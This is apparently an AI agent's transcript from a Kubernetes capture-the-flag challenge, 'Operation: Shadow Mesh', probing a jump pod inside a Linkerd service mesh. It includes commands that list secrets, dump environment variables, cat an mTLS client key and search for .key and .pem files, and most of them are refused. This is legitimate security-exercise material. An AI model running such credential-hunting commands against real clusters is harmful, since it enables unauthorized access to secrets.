318→/etc/ssl/certs/QuoVadis_Root_CA_2_G3.pem 319→/etc/ssl/certs/Amazon_Root_CA_2.pem 320→/etc/ssl/certs/ePKI_Root_Certification_Authority.pem 321→/etc/ssl/certs/certSIGN_ROOT_CA.pem 322→/etc/ssl/certs/Comodo_AAA_Services_root.pem 323→/etc/ssl/certs/OISTE_WISeKey_Global_Root_GC_CA.pem 324→/etc/ssl/certs/Amazon_Root_CA_1.pem 325→/etc/ssl/certs/GlobalSign_Root_CA.pem 326→/etc/ssl/certs/DigiCert_Assured_ID_Root_G2.pem 327→/etc/ssl/certs/AC_RAIZ_FNMT-RCM_SERVIDORES_SEGUROS.pem 328→/etc/ssl/certs/USERTrust_RSA_Certification_Authority.pem 329→/etc/ssl/certs/SecureTrust_CA.pem 330→/etc/ssl/certs/Amazon_Root_CA_3.pem 331→/etc/ssl/certs/GLOBALTRUST_2020.pem 332→/etc/ssl/certs/DigiCert_TLS_ECC_P384_Root_G5.pem 333→/etc/ssl/certs/QuoVadis_Root_CA_3.pem 334→/etc/ssl/certs/SSL.com_TLS_ECC_Root_CA_2022.pem 335→/etc/ssl/certs/CommScope_Public_Trust_RSA_Root-01.pem 336→/etc/ssl/certs/Hellenic_Academic_and_Research_Institutions_RootCA_2015.pem 337→/etc/ssl/certs/HARICA_TLS_RSA_Root_CA_2021.pem 338→/etc/ssl/certs/CommScope_Public_Trust_ECC_Root-01.pem 339→/etc/ssl/certs/vTrus_Root_CA.pem 340→/etc/ssl/certs/QuoVadis_Root_CA_3_G3.pem 341→/etc/ssl/certs/GlobalSign_Root_E46.pem 342→/etc/ssl/certs/Buypass_Class_3_Root_CA.pem 343→/etc/ssl/certs/SecureSign_RootCA11.pem 344→/etc/ssl/certs/D-TRUST_Root_Class_3_CA_2_EV_2009.pem 345→/etc/ssl/certs/AffirmTrust_Networking.pem 346→/etc/ssl/certs/ACCVRAIZ1.pem 347→/etc/ssl/certs/BJCA_Global_Root_CA1.pem 348→/etc/ssl/certs/TWCA_Root_Certification_Authority.pem 349→/etc/ssl/certs/T-TeleSec_GlobalRoot_Class_3.pem 350→/etc/ssl/certs/ANF_Secure_Server_Root_CA.pem 351→/etc/ssl/certs/Certainly_Root_R1.pem 352→/etc/ssl/certs/Sectigo_Public_Server_Authentication_Root_E46.pem 353→/etc/ssl/certs/Actalis_Authentication_Root_CA.pem 354→/etc/ssl/certs/emSign_Root_CA_-_C1.pem 355→/etc/ssl/certs/emSign_ECC_Root_CA_-_C3.pem 356→/etc/ssl/certs/Starfield_Services_Root_Certificate_Authority_-_G2.pem 357→/etc/ssl/certs/Trustwave_Global_ECC_P384_Certification_Authority.pem 358→/etc/ssl/certs/DigiCert_Assured_ID_Root_G3.pem 359→/etc/ssl/certs/Security_Communication_ECC_RootCA1.pem 360→/etc/ssl/certs/DigiCert_Assured_ID_Root_CA.pem 361→/etc/ssl/certs/UCA_Global_G2_Root.pem 362→/etc/ssl/certs/AC_RAIZ_FNMT-RCM.pem 363→/etc/ssl/certs/COMODO_ECC_Certification_Authority.pem 364→/etc/ssl/certs/Microsec_e-Szigno_Root_CA_2009.pem 365→/etc/ssl/certs/TrustAsia_Global_Root_CA_G3.pem 366→/etc/ssl/certs/T-TeleSec_GlobalRoot_Class_2.pem 367→/etc/ssl/certs/AffirmTrust_Premium_ECC.pem 368→/etc/ssl/certs/AffirmTrust_Premium.pem 369→/etc/ssl/certs/Entrust_Root_Certification_Authority_-_G4.pem 370→/etc/ssl/certs/TeliaSonera_Root_CA_v1.pem 371→/etc/ssl/certs/Go_Daddy_Root_Certificate_Authority_-_G2.pem 372→/etc/ssl/certs/IdenTrust_Public_Sector_Root_CA_1.pem 373→/etc/ssl/certs/DigiCert_Trusted_Root_G4.pem 374→/etc/ssl/certs/D-TRUST_BR_Root_CA_1_2020.pem 375→/etc/ssl/certs/Atos_TrustedRoot_Root_CA_RSA_TLS_2021.pem 376→/etc/ssl/certs/DigiCert_TLS_RSA4096_Root_G5.pem 377→/etc/ssl/certs/CommScope_Public_Trust_RSA_Root-02.pem 378→/etc/ssl/certs/Certum_Trusted_Root_CA.pem 379→/etc/ssl/certs/Sectigo_Public_Server_Authentication_Root_R46.pem
{
"file_path": "/home/claude/.claude/projects/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tool-results/bzep1vzu9.txt",
"offset": 400,
"limit": 100
}400→/etc/ssl/certs/CA_Disig_Root_R2.pem 401→[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho "=== MOUNTED VOLUMES ===" 402→[?2004l=== MOUNTED VOLUMES === 403→[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# mount | grep -v cgroup | grep -v proc | grep -v syys | grep -v tmpfs 404→[?2004loverlay on / type overlay (rw,relatime,lowerdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/117/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/116/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/115/fs:/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/114/fs,upperdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/118/fs,workdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/118/work,uuid=on,nouserxattr) 405→devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666) 406→mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime) 407→/dev/root on /etc/hosts type ext4 (rw,relatime,discard,errors=remount-ro) 408→/dev/root on /dev/termination-log type ext4 (rw,relatime,discard,errors=remount-ro) 409→/dev/root on /etc/hostname type ext4 (rw,relatime,discard,errors=remount-ro) 410→/dev/root on /etc/resolv.conf type ext4 (rw,relatime,discard,errors=remount-ro) 411→[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho "=== HOME ===" 412→[?2004l=== HOME === 413→[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# ls -laR /root/ /home/ 2>/dev/null 414→[?2004l/home/: 415→total 8 416→drwxr-xr-x 2 root root 4096 Apr 18 2022 [0m[01;34m.[0m 417→drwxr-xr-x 1 root root 4096 Mar 25 10:51 [01;34m..[0m 418→ 419→/root/: 420→total 32 421→drwx------ 1 root root 4096 Mar 25 11:04 [01;34m.[0m 422→drwxr-xr-x 1 root root 4096 Mar 25 10:51 [01;34m..[0m 423→-rw------- 1 root root 10120 Mar 25 11:09 .bash_history 424→-rw-r--r-- 1 root root 3106 Oct 15 2021 .bashrc 425→drwxr-x--- 3 root root 4096 Mar 25 11:04 [01;34m.kube[0m 426→-rw-r--r-- 1 root root 161 Jul 9 2019 .profile 427→ 428→/root/.kube: 429→total 12 430→drwxr-x--- 3 root root 4096 Mar 25 11:04 [01;34m.[0m 431→drwx------ 1 root root 4096 Mar 25 11:04 [01;34m..[0m 432→drwxr-x--- 4 root root 4096 Mar 25 11:04 [01;34mcache[0m 433→ 434→/root/.kube/cache: 435→total 16 436→drwxr-x--- 4 root root 4096 Mar 25 11:04 [01;34m.[0m 437→drwxr-x--- 3 root root 4096 Mar 25 11:04 [01;34m..[0m 438→drwxr-x--- 3 root root 4096 Mar 25 11:04 [01;34mdiscovery[0m 439→drwxr-x--- 3 root root 4096 Mar 25 11:04 [01;34mhttp[0m 440→ 441→/root/.kube/cache/discovery: 442→total 12 443→drwxr-x--- 3 root root 4096 Mar 25 11:04 [01;34m.[0m 444→drwxr-x--- 4 root root 4096 Mar 25 11:04 [01;34m..[0m 445→drwxr-x--- 31 root root 4096 Mar 25 11:04 [01;34m10.96.0.1_443[0m 446→ 447→/root/.kube/cache/discovery/10.96.0.1_443: 448→total 132 449→drwxr-x--- 31 root root 4096 Mar 25 11:04 [01;34m.[0m 450→drwxr-x--- 3 root root 4096 Mar 25 11:04 [01;34m..[0m 451→drwxr-x--- 3 root root 4096 Mar 25 11:04 [01;34madmissionregistration.k8s.io[0m 452→drwxr-x--- 3 root root 4096 Mar 25 11:04 [01;34mapiextensions.k8s.io[0m 453→drwxr-x--- 3 root root 4096 Mar 25 11:04 [01;34mapiregistration.k8s.io[0m 454→drwxr-x--- 3 root root 4096 Mar 25 11:04 [01;34mapps[0m 455→drwxr-x--- 3 root root 4096 Mar 25 11:04 [01;34mauthentication.k8s.io[0m 456→drwxr-x--- 3 root root 4096 Mar 25 11:04 [01;34mauthorization.k8s.io[0m 457→drwxr-x--- 4 root root 4096 Mar 25 11:04 [01;34mautoscaling[0m 458→drwxr-x--- 3 root root 4096 Mar 25 11:04 [01;34mbatch[0m 459→drwxr-x--- 3 root root 4096 Mar 25 11:04 [01;34mcertificates.k8s.io[0m 460→drwxr-x--- 3 root root 4096 Mar 25 11:04 [01;34mcoordination.k8s.io[0m 461→drwxr-x--- 3 root root 4096 Mar 25 11:04 [01;34mcrd.projectcalico.org[0m 462→drwxr-x--- 3 root root 4096 Mar 25 11:04 [01;34mdiscovery.k8s.io[0m 463→drwxr-x--- 3 root root 4096 Mar 25 11:04 [01;34mevents.k8s.io[0m 464→drwxr-x--- 3 root root 4096 Mar 25 11:04 [01;34mflowcontrol.apiserver.k8s.io[0m 465→drwxr-x--- 3 root root 4096 Mar 25 11:04 [01;34mgateway.envoyproxy.io[0m 466→drwxr-x--- 6 root root 4096 Mar 25 11:04 [01;34mgateway.networking.k8s.io[0m 467→drwxr-x--- 3 root root 4096 Mar 25 11:04 [01;34mgateway.networking.x-k8s.io[0m 468→drwxr-x--- 4 root root 4096 Mar 25 11:04 [01;34mlinkerd.io[0m 469→drwxr-x--- 3 root root 4096 Mar 25 11:04 [01;34mnetworking.k8s.io[0m 470→drwxr-x--- 3 root root 4096 Mar 25 11:04 [01;34mnode.k8s.io[0m 471→drwxr-x--- 3 root root 4096 Mar 25 11:04 [01;34mpolicy[0m 472→drwxr-x--- 6 root root 4096 Mar 25 11:04 [01;34mpolicy.linkerd.io[0m 473→drwxr-x--- 3 root root 4096 Mar 25 11:04 [01;34mpolicy.networking.k8s.io[0m 474→drwxr-x--- 3 root root 4096 Mar 25 11:04 [01;34mrbac.authorization.k8s.io[0m 475→drwxr-x--- 3 root root 4096 Mar 25 11:04 [01;34mresource.k8s.io[0m 476→drwxr-x--- 3 root root 4096 Mar 25 11:04 [01;34mscheduling.k8s.io[0m 477→-rw-rw---- 1 root root 5750 Mar 25 11:04 servergroups.json 478→drwxr-x--- 3 root root 4096 Mar 25 11:04 [01;34mstorage.k8s.io[0m 479→drwxr-x--- 2 root root 4096 Mar 25 11:04 [01;34mv1[0m 480→drwxr-x--- 4 root root 4096 Mar 25 11:04 [01;34mworkload.linkerd.io[0m 481→ 482→/root/.kube/cache/discovery/10.96.0.1_443/admissionregistration.k8s.io: 483→total 12 484→drwxr-x--- 3 root root 4096 Mar 25 11:04 [01;34m.[0m 485→drwxr-x--- 31 root root 4096 Mar 25 11:04 [01;34m..[0m 486→drwxr-x--- 2 root root 4096 Mar 25 11:04 [01;34mv1[0m 487→ 488→/root/.kube/cache/discovery/10.96.0.1_443/admissionregistration.k8s.io/v1: 489→total 12 490→drwxr-x--- 2 root root 4096 Mar 25 11:04 [01;34m.[0m 491→drwxr-x--- 3 root root 4096 Mar 25 11:04 [01;34m..[0m 492→-rw-rw---- 1 root root 1338 Mar 25 11:04 serverresources.json 493→ 494→/root/.kube/cache/discovery/10.96.0.1_443/apiextensions.k8s.io: 495→total 12 496→drwxr-x--- 3 root root 4096 Mar 25 11:04 [01;34m.[0m 497→drwxr-x--- 31 root root 4096 Mar 25 11:04 [01;34m..[0m 498→drwxr-x--- 2 root root 4096 Mar 25 11:04 [01;34mv1[0m 499→
ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' echo "=== CONFIGMAPS ===" kubectl get configmaps -n default 2>&1 echo "=== SECRETS DEFAULT ===" kubectl get secrets -n default 2>&1 echo "=== CONFIGMAPS ALL ===" kubectl get configmaps -A 2>&1 echo "=== PODS PRODUCTION ===" kubectl get pods -n production -o wide 2>&1 echo "=== LINKERD POLICIES ===" kubectl get authorizationpolicies -A -o yaml 2>&1 kubectl get meshtlsauthentications -A -o yaml 2>&1 kubectl get servers -A -o yaml 2>&1 exit SSHEOF
_ _ _ ____ ____ _ _ _ _ _ __ __ ____ __ _ _ _ _ ____
( \/ \/ )( __)/ ___)/ )( \(_) ( ( \ / _\ ___ / _\ ( _ \ / \ / )( \( ( \( _ \
) ( ) _) \___ \) __ ( )( / / ( (_ \(___)/ \ ) /( () )) \/ (/ / )(_) )
(_/\/\_) (____)(____/\_)(_/(__)\_)__) \__/ \_/\_/(_)\_) \__/ \____/\_)__)(____/
Welcome to KubeCon EU 2026!
Operation: Shadow Mesh (Amsterdam Edition)
Welkom, Operators! The target is locked inside a strict Linkerd Service Mesh, with perimeters tighter than Amsterdam's bike lanes at rush hour.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Hint: Know Your Turf > Your privileges vary by neighborhood. This will be crucial across the entire operation, so it's highly recommended to keep these two commands distinct:
- kubectl auth can-i --list: This checks your general permissions at the cluster level (or within the default namespace).
- kubectl auth can-i --list -n <namespace name>: This queries your exact permissions confined to a specific, targeted namespace.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
To begin your heist, knock on the front door of the Envoy Gateway IP
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
curl -k https://$GWIP
The first flag is waiting for you there, but you'll need to dig around your environment for the right keys to get inside.
The gateway is bouncing your request because you are missing a client certificate.
Veel succes (Good luck), Operator! Stay stealthy and mind the bikes.
echo "=== CONFIGMAPS ==="
kubectl get configmaps -n default 2>&1
echo "=== SECRETS DEFAULT ==="
kubectl get secrets -n default 2>&1
echo "=== CONFIGMAPS ALL ==="
kubectl get configmaps -A 2>&1
echo "=== PODS PRODUCTION ==="
kubectl get pods -n production -o wide 2>&1
echo "=== LINKERD POLICIES ==="
kubectl get authorizationpolicies -A -o yaml 2>&1
kubectl get meshtlsauthentications -A -o yaml 2>&1
kubectl get servers -A -o yaml 2>&1
exit
echo "=== CONFIGMAPS ==="
kubectl get configmaps -n default 2>&1
echo "=== SECRETS DEFAULT ==="
kubectl get secrets -n default 2>&1
echo "=== CONFIGMAPS ALL ==="
kubectl get configmaps -A 2>&1
echo "=== PODS PRODUCTION ==="
kubectl get pods -n production -o wide 2>&1
echo "=== LINKERD POLICIES ==="
kubectl get authorizationpolicies -A -o yaml 2>&1
kubectl get meshtlsauthentications -A -o yaml 2>&1
kubectl get servers -A -o yaml 2>&1
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== CONFIGMAPS ==="
[?2004l=== CONFIGMAPS ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get configmaps -n default 2>&1
[?2004lError from server (Forbidden): configmaps is forbidden: User "system:serviceaccount:default:jumppod" cannot list resource "configmaps" in API group "" in the namespace "default"
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho "=== SECRETS DEFAULT ==="
[?2004l=== SECRETS DEFAULT ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get secrets -n default 2>&1
[?2004lError from server (Forbidden): secrets is forbidden: User "system:serviceaccount:default:jumppod" cannot list resource "secrets" in API group "" in the namespace "default"
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== CONFIGMAPS ALL ==="
[?2004l=== CONFIGMAPS ALL ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get configmaps -A 2>&1
[?2004lError from server (Forbidden): configmaps is forbidden: User "system:serviceaccount:default:jumppod" cannot list resource "configmaps" in API group "" at the cluster scope
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== PODS PRODUCTION ==="
[?2004l=== PODS PRODUCTION ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get pods -n production -o wide 2>&1
[?2004lNAME READY STATUS RESTARTS AGE IP NODE NOMINATED NODE READINESS GATES
receiver-794df886d7-8f427 3/3 Running 0 19m 192.168.84.131 node-1 <none> <none>
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho "=== LINKERD POLICIES ==="
[?2004l=== LINKERD POLICIES ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get authorizationpolicies -A -o yaml 2>&1 [A]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get authorizationpolicies -A -o yaml 2>&[K1
[?2004lapiVersion: v1
items: []
kind: List
metadata:
resourceVersion: ""
Error from server (Forbidden): authorizationpolicies.policy.linkerd.io is forbidden: User "system:serviceaccount:default:jumppod" cannot list resource "authorizationpolicies" in API group "policy.linkerd.io" at the cluster scope
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kkubectl get meshtlsauthentications -A -o yaml 2>&11
[?2004lapiVersion: v1
items: []
kind: List
metadata:
resourceVersion: ""
Error from server (Forbidden): meshtlsauthentications.policy.linkerd.io is forbidden: User "system:serviceaccount:default:jumppod" cannot list resource "meshtlsauthentications" in API group "policy.linkerd.io" at the cluster scope
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kkubectl get servers -A -o yaml 2>&1
[?2004lapiVersion: v1
items: []
kind: List
metadata:
resourceVersion: ""
Error from server (Forbidden): servers.policy.linkerd.io is forbidden: User "system:serviceaccount:default:jumppod" cannot list resource "servers" in API group "policy.linkerd.io" at the cluster scope
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# exit
[?2004lexit
command terminated with exit code 1
Connection to 35.179.133.134 closed.Let me try accessing the backend service directly (bypassing the gateway) and check what the production pod has.
ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' echo "=== DIRECT BACKEND ===" curl -s http://10.104.138.143:8080 2>&1 echo "=== DIRECT RECEIVER ===" curl -s http://10.101.36.19:8080 2>&1 echo "=== DIRECT SUPERSECRET ===" curl -s http://10.106.216.226:8080 2>&1 echo "=== PROD POD DESCRIBE ===" kubectl get pods -n production -o yaml 2>&1 | head -80 echo "=== EXEC INTO PROD ===" kubectl exec -n production receiver-794df886d7-8f427 -c receiver -- ls /tmp/ 2>&1 kubectl exec -n production receiver-794df886d7-8f427 -c receiver -- env 2>&1 kubectl exec -n production receiver-794df886d7-8f427 -c receiver -- cat /etc/mtls/client.key 2>/dev/null 2>&1 kubectl exec -n production receiver-794df886d7-8f427 -c receiver -- find / -name "*.key" -o -name "*.pem" 2>/dev/null 2>&1 | head -20 exit SSHEOF
_ _ _ ____ ____ _ _ _ _ _ __ __ ____ __ _ _ _ _ ____
( \/ \/ )( __)/ ___)/ )( \(_) ( ( \ / _\ ___ / _\ ( _ \ / \ / )( \( ( \( _ \
) ( ) _) \___ \) __ ( )( / / ( (_ \(___)/ \ ) /( () )) \/ (/ / )(_) )
(_/\/\_) (____)(____/\_)(_/(__)\_)__) \__/ \_/\_/(_)\_) \__/ \____/\_)__)(____/
Welcome to KubeCon EU 2026!
Operation: Shadow Mesh (Amsterdam Edition)
Welkom, Operators! The target is locked inside a strict Linkerd Service Mesh, with perimeters tighter than Amsterdam's bike lanes at rush hour.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Hint: Know Your Turf > Your privileges vary by neighborhood. This will be crucial across the entire operation, so it's highly recommended to keep these two commands distinct:
- kubectl auth can-i --list: This checks your general permissions at the cluster level (or within the default namespace).
- kubectl auth can-i --list -n <namespace name>: This queries your exact permissions confined to a specific, targeted namespace.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
To begin your heist, knock on the front door of the Envoy Gateway IP
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
curl -k https://$GWIP
The first flag is waiting for you there, but you'll need to dig around your environment for the right keys to get inside.
The gateway is bouncing your request because you are missing a client certificate.
Veel succes (Good luck), Operator! Stay stealthy and mind the bikes.
echo "=== DIRECT BACKEND ==="
curl -s http://10.104.138.143:8080 2>&1
echo "=== DIRECT RECEIVER ==="
curl -s http://10.101.36.19:8080 2>&1
echo "=== DIRECT SUPERSECRET ==="
curl -s http://10.106.216.226:8080 2>&1
echo "=== PROD POD DESCRIBE ==="
kubectl get pods -n production -o yaml 2>&1 | head -80
echo "=== EXEC INTO PROD ==="
kubectl exec -n production receiver-794df886d7-8f427 -c receiver -- ls /tmp/ 2>&1
kubectl exec -n production receiver-794df886d7-8f427 -c receiver -- env 2>&1
kubectl exec -n production receiver-794df886d7-8f427 -c receiver -- cat /etc/mtls/client.key 2>/dev/null 2>&1
kubectl exec -n production receiver-794df886d7-8f427 -c receiver -- find / -name "*.key" -o -name "*.pem" 2>/dev/null 2>&1 | head -20
exit
echo "=== DIRECT BACKEND ==="
curl -s http://10.104.138.143:8080 2>&1
echo "=== DIRECT RECEIVER ==="
curl -s http://10.101.36.19:8080 2>&1
echo "=== DIRECT SUPERSECRET ==="
curl -s http://10.106.216.226:8080 2>&1
echo "=== PROD POD DESCRIBE ==="
kubectl get pods -n production -o yaml 2>&1 | head -80
echo "=== EXEC INTO PROD ==="
kubectl exec -n production receiver-794df886d7-8f427 -c receiver -- ls /tmp/ 2>&1
kubectl exec -n production receiver-794df886d7-8f427 -c receiver -- env 2>&1
kubectl exec -n production receiver-794df886d7-8f427 -c receiver -- cat /etc/mtls/client.key 2>/dev/null 2>&1
kubectl exec -n production receiver-794df886d7-8f427 -c receiver -- find / -name "*.key" -o -name "*.pem" 2>/dev/null 2>&1 | head -20
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo "=== DIRECT BACKEND ==="
[?2004l=== DIRECT BACKEND ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# curl -s http://10.104.138.143:8080 2>&1
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho "=== DIRECT RECEIVER ==="
[?2004l=== DIRECT RECEIVER ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# curl -s http://10.101.36.19:8080 2>&1
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho "=== DIRECT SUPERSECRET ==="
[?2004l=== DIRECT SUPERSECRET ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# curl -s http://10.106.216.226:8080 2>&1
[?2004l[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho "=== PROD POD DESCRIBE ==="
[?2004l=== PROD POD DESCRIBE ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get pods -n production -o yaml 2>&1 | headd -80
[?2004lapiVersion: v1
items:
- apiVersion: v1
kind: Pod
metadata:
annotations:
cni.projectcalico.org/containerID: 97b4e92c0318ff3c7228e91e5fa069a705dd2570dc1d87c2ee07b158313f9f9b
cni.projectcalico.org/podIP: 192.168.84.131/32
cni.projectcalico.org/podIPs: 192.168.84.131/32
linkerd.io/created-by: linkerd/proxy-injector edge-26.1.4
linkerd.io/inject: enabled
linkerd.io/proxy-version: edge-26.1.4
linkerd.io/trust-root-sha256: af756ffb119bc701026546117e7e2363a84956e56172abefccca0d099870237b
creationTimestamp: "2026-03-25T10:50:53Z"
generateName: receiver-794df886d7-
generation: 1
labels:
app: receiver
linkerd.io/control-plane-ns: linkerd
linkerd.io/proxy-deployment: receiver
linkerd.io/workload-ns: production
pod-template-hash: 794df886d7
name: receiver-794df886d7-8f427
namespace: production
ownerReferences:
- apiVersion: apps/v1
blockOwnerDeletion: true
controller: true
kind: ReplicaSet
name: receiver-794df886d7
uid: bf6da333-8239-46d9-b4f9-ffa7f53dc379
resourceVersion: "1599"
uid: 9bafd4c5-8fbb-4cb7-9e70-5b175f8e86d9
spec:
containers:
- env:
- name: _pod_name
valueFrom:
fieldRef:
apiVersion: v1
fieldPath: metadata.name
- name: _pod_ns
valueFrom:
fieldRef:
apiVersion: v1
fieldPath: metadata.namespace
- name: _pod_uid
valueFrom:
fieldRef:
apiVersion: v1
fieldPath: metadata.uid
- name: _pod_ip
valueFrom:
fieldRef:
apiVersion: v1
fieldPath: status.podIP
- name: _pod_nodeName
valueFrom:
fieldRef:
apiVersion: v1
fieldPath: spec.nodeName
- name: _pod_containerName
value: linkerd-proxy
- name: LINKERD2_PROXY_CORES
value: "1"
- name: LINKERD2_PROXY_CORES_MIN
value: "1"
- name: LINKERD2_PROXY_SHUTDOWN_ENDPOINT_ENABLED
value: "false"
- name: LINKERD2_PROXY_LOG
value: warn,linkerd=info,hickory=error,[{headers}]=off,[{request}]=off
- name: LINKERD2_PROXY_LOG_FORMAT
value: plain
- name: LINKERD2_PROXY_DESTINATION_SVC_ADDR
value: linkerd-dst-headless.linkerd.svc.cluster.local.:8086
- name: LINKERD2_PROXY_DESTINATION_PROFILE_NETWORKS
value: 10.0.0.0/8,100.64.0.0/10,172.16.0.0/12,192.168.0.0/16,fd00::/8
- name: LINKERD2_PROXY_POLICY_SVC_ADDR
value: linkerd-policy.linkerd.svc.cluster.local.:8090
- name: LINKERD2_PROXY_POLICY_WORKLOAD
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho "=== EXEC INTO PROD ==="
[?2004l=== EXEC INTO PROD ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4427 -c receiver -- ls /tmp/ 2>&1
[?2004lError from server (BadRequest): container receiver is not valid for pod receiver-794df886d7-8f427
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kkubectl exec -n production receiver-794df886d7-8f4427 -c receiver -- env 2>&1
[?2004lError from server (BadRequest): container receiver is not valid for pod receiver-794df886d7-8f427
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kkubectl exec -n production receiver-794df886d7-8f4427 -c receiver -- cat /etc/mtls/client.key 2>/dev/null 2>&1
[?2004lError from server (BadRequest): container receiver is not valid for pod receiver-794df886d7-8f427
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kkubectl exec -n production receiver-794df886d7-8f4427 -c receiver -- find / -name "*.key" -o -name "*.pem" 2>/dev/null 2>&1 | head -20
[?2004lError from server (BadRequest): container receiver is not valid for pod receiver-794df886d7-8f427
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kexit
[?2004lexit
Connection to 35.179.133.134 closed.ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g'
echo "=== CONTAINERS ==="
kubectl get pods -n production receiver-794df886d7-8f427 -o jsonpath='{.spec.containers[*].name}' 2>&1
echo ""
echo "=== DEPLOYMENT ==="
